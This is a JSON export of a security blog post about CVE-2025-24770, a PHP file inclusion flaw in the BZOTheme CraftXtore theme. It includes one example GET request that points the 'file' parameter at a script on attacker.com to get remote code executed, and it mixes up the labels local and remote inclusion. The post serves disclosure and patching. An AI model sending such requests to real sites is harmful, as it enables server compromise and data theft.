{"id":52195,"date":"2025-06-15T11:04:15","date_gmt":"2025-06-15T11:04:15","guid":{"rendered":""},"modified":"2025-08-07T17:51:31","modified_gmt":"2025-08-07T23:51:31","slug":"cve-2025-24770-critical-php-local-file-inclusion-vulnerability-in-bzotheme-craftxtore","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24770-critical-php-local-file-inclusion-vulnerability-in-bzotheme-craftxtore\/","title":{"rendered":"<strong>CVE-2025-24770: Critical PHP Local File Inclusion Vulnerability in BZOTheme CraftXtore<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, identified as CVE-2025-24770, has been discovered in BZOTheme CraftXtore. This vulnerability stems from the improper control of filename for Include\/Require Statement in PHP Program, also known as &#8216;PHP Remote File Inclusion&#8217;. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58812\">vulnerability allows for PHP Local File<\/a> Inclusion, posing a substantial threat to the security of systems running this software. Given that CraftXtore is widely used for e-commerce stores, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21453-critical-memory-corruption-vulnerability-impacting-multiple-systems\/\"  data-wpil-monitor-id=\"58947\">impact of this vulnerability<\/a> is potentially significant, making it essential for system administrators and cybersecurity professionals to understand and address this issue promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24770<br \/>\nSeverity: Critical (8.1 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58694\">Potential system compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1145832928\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BZOTheme CraftXtore | Up to and including 1.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-24770 vulnerability allows attackers to include files from local or external resources, leading to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32106-unauthenticated-remote-code-execution-in-audiocodes-mediapack-mp-11x\/\"  data-wpil-monitor-id=\"58589\">execution of arbitrary code<\/a>. This is possible due to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33073-windows-smb-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"61072\">improper control<\/a> of filename for Include\/Require Statement in PHP Program. Essentially, an attacker can manipulate the input to these PHP functions to include a file that resides outside the intended directories, leading to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45854-arbitrary-code-execution-vulnerability-in-jehc-bpm-2-0-1\/\"  data-wpil-monitor-id=\"58665\">execution of malicious code<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-437115245\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, the attacker has manipulated the `file` parameter value to include a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59944\">PHP<\/a> script (`malicious_script.txt`) hosted on their server (`attacker.com`). When the server processes this request, it includes the malicious script, executing it and potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21460-memory-corruption-vulnerability-in-guest-vm-buffer-processing-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"59003\">leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p>The most effective way to mitigate this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"58902\">vulnerability is by applying the vendor patch<\/a>. For those unable to immediately apply the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not replace the need for patching. Regularly updating and patching <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5243-critical-security-vulnerability-in-smg-software-information-portal\/\"  data-wpil-monitor-id=\"67981\">software is a fundamental part of maintaining a secure<\/a> IT environment.<br \/>\nRemember, prevention is always better than cure, especially when it comes to cybersecurity. Stay safe!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, identified as CVE-2025-24770, has been discovered in BZOTheme CraftXtore. This vulnerability stems from the improper control of filename for Include\/Require Statement in PHP Program, also known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability allows for PHP Local File Inclusion, posing a substantial threat to the security of systems running this software. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-52195","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=52195"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52195\/revisions"}],"predecessor-version":[{"id":61531,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52195\/revisions\/61531"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=52195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=52195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=52195"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=52195"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=52195"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=52195"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=52195"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=52195"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=52195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}